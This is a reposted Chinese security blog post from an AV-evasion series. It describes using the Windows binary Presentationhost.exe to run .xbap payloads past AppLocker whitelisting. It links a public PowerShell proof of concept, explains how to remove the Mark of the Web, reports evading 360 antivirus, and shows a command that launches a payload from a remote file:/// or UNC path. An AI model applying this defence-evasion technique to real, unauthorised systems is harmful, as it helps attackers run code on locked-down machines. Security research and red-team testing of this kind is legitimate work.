转自Tide安全团队,原文链接:远控免杀专题(45)
一、Presentationhost.exe介绍
Presentationhost.exe是一个内置的Windows可执行文件,用于运行XAML浏览器应用程序(即.xbap文件)。在多个AppLocker白名单绕过列表中,Presentationhost.exe都位列其中(例如api0cradl和milkdevil)。 当我们打开.xbap文件的时候其实不是在IE中启动的应用程序,而是在Presentationhost.exe中运行,通常是在一个沙箱中以保护用户免受恶意代码的攻击。 由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。
二、使用Presentationhost.exe执行Payload
创建xbap应用程序可以按照以下说明来构建自己的POC。 1.下载VS(我这里使用的是VS2015) 2.打开VS选择New Project创建WPF Browser Application 并创建一个新的Visual C# app
初始化新项目后你会看到如下界面。
点击运行后,此应用程序会使用你的默认浏览器打开.xbap文件。如果你的默认浏览器不是IE,那么需要将链接拷贝到IE浏览器去打开,打开后会弹出以下警告: 点击运行后会出现以下界面。让我们来创建一个简单的UI,即在左侧输入命令右侧输出结果。此外,我还将添加一个带有单击事件的按钮。
这里可以使用这个已经编译好的POC:https://github.com/jpginc/xbapAppWhitelistBypassPOC
在下载下来的文件中..\..\xbapAppWhitelistBypassPOC-master\xbapAppWhitelistBypassPOC-master\powershell\bin\Debug中运行powershell.xbap即可看到
要绕过默认的AppLocker规则,请将这些文件复制到锁定的计算机,然后双击.xbap文件。如果你从网站下载该文件,它将无法运行,因为它将包含Web标记。你可以通过右键单击该文件,然后单击“Unblock(取消阻止)”复选框来删除Web标记(或者你也可以使用 Powershell)。
360静态查杀和动态查杀通过。 如果你不想将文件复制到锁定的计算机上,你也可以从命令行使用file:/// URI 或 UNC路径来运行presentation host,例如:presentationhost.exe file:///ipAddressOrHostName/powershell.xbap
三、参考资料
|